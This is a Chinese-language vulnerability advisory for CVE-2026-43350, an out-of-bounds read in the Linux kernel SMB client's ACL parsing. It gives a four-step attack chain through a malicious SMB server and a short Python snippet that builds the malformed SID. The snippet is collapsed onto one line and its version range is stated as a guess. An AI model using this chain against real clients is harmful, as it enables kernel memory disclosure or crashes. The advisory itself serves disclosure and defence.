IPBUF安全漏洞报告
English
CVE-2026-43350 CVSS 7.6 高危

CVE-2026-43350 Linux内核SMB客户端越界读取漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43350
漏洞类型
越界读取
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Linux Kernel

相关标签

Linux KernelSMBOut-of-bounds ReadInformation DisclosureCIFS

漏洞概述

Linux内核中的SMB客户端组件在处理访问控制列表(ACL)时存在安全漏洞。攻击者可通过搭建恶意SMB服务器,发送特制的访问控制项(ACE),利用客户端在解析NFS模式SID时的校验缺失,触发越界内存读取,可能导致敏感信息泄露。

技术细节

该漏洞源于Linux内核 `fs/smb/client/cifsacl.c` 文件中的 `parse_dacl` 函数。该函数在处理ACE时,会将其SID与 `sid_unix_NFS_mode` 进行比较。若匹配,代码假设该ACE包含至少3个子授权,并直接读取 `sid.sub_auth[2]` 以恢复模式位。然而,底层的 `compare_sids` 函数仅比较两个SID中子授权数量的最小值。因此,恶意服务器可以构造一个 `num_subauth = 2` 且 `sub_auth` 为 `{88, 3}` 的ACE,这能通过匹配检查,但在读取 `sub_auth[2]` 时会导致读取操作越过ACE结构末尾的4字节,造成越界读取。

攻击链分析

STEP 1
1. 搭建恶意SMB服务器
攻击者配置一台恶意的SMB服务器,准备发送特制的访问控制列表(ACL)数据。
STEP 2
2. 诱导客户端连接
诱导受害者使用Linux系统连接到该恶意SMB服务器并尝试读取文件或属性。
STEP 3
3. 发送特制ACE
当客户端请求文件安全描述符时,服务器返回包含num_subauth=2的恶意ACE。
STEP 4
4. 触发越界读取
Linux内核SMB客户端解析该ACE时,因未校验子授权数量,读取ACE结构之外的内存数据,导致信息泄露或内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct from impacket import smb from impacket.dcerpc.v5 import samr # Conceptual PoC structure for a malicious SMB server response # This script demonstrates how to construct the malicious ACE structure. # Note: A full exploit requires running a modified SMB server. def create_malicious_ace(): # SID Revision: 1, SubAuthCount: 2 (Maliciously low) # IdentifierAuthority: 0 (SECURITY_NULL_SID_AUTHORITY) # SubAuthorities: 88 (S-1-0-88), 3 (matches NFS mode type logic) # The kernel expects sub_auth[2] but we only provide 2 sub_auths. sid_rev = 1 sub_auth_count = 2 identifier_authority = 0 sub_auth_0 = 88 sub_auth_1 = 3 # SID Structure: Revision(1) + SubAuthCount(1) + Authority(6) + SubAuths(4*Count) # We omit sub_auth[2] which the kernel tries to read. sid_data = struct.pack('<BB6BII', sid_rev, sub_auth_count, 0,0,0,0,0,0, # Authority (0) sub_auth_0, sub_auth_1) return sid_data if __name__ == "__main__": print("Malformed SID constructed to trigger OOB read in parse_dacl:") print(create_malicious_ace().hex())

影响范围

Linux Kernel < 6.6 (根据Git提交记录推测)
Linux Kernel stable branches prior to specific commits

防御指南

临时缓解措施
建议用户避免连接不可信的SMB服务器共享,并在内核补丁可用后立即进行更新。可以通过禁用SMB客户端功能或使用网络防火墙阻断出站SMB连接作为临时防护。

参考链接